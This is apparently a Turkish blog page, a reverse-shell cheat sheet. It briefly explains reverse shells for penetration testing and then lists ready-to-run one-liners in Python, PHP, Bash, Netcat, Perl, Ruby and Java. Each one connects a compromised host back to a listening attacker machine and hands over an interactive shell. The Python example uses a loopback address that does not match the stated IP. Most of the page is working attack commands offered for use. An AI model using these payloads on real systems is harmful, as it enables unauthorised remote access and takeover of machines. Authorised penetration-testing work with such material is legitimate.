HACKING

REVERSE SHELL CHEAT SHEET

REVERSE SHELL NEDİR?

-Ele geçirilen sunucu; netcat, python, perl, php vb. gibi betik dilleri ile yazılmış scriptler ile saldırganın bilgisayarının dinlemede olduğu bir portuna bağlantı talebi gerçekleştirmesine dayanmaktadır.

-Bir sızma testi esnasında açıkları tararken hedef sistemde bir Command Execution (komut yürütme açığı) zafiyeti keşfedersek orada bir shell almayı isteyeceğiz. TCP portuna bağlanarak shell almak istediğimizde çalıştırabileceğimiz komutlar hedef sistemde çalışan betik dilleri ile sınırlıdır. Reverse Shell almak istediğimizde öncelikle hedef sistemi Netcat ile dinlemeye alacağız.

nc -lvp (port) komutunu vererek istek yapacağımız port ile hedef sistemi dinlemeye alacağız.

Daha sonra aşağıdaki örnek ile shell almayı deneyeceğiz.

NOT: Aşağıdaki örneklerde 192.168.138.15 local IP ve 2727 dinleyeceğimiz local portumuz.

PYTHON

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",2727));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$sock=fsockopen("192.168.138.15",2727);exec("/bin/sh -i <&3 >&3 2>&3");'

BASH

bash -i >& /dev/tcp/192.168.138.15/2727 0>&1

NETCAT

nc -e /bin/sh 192.168.138.15 2727

PERL

perl -e 'use Socket;$i="192.168.138.15";$p=2727;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

RUBY

ruby -rsocket -e'f=TCPSocket.open("192.168.138.15",2727).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

JAVA

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.138.15/2727;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

5 × 5 =

Başa dön tuşu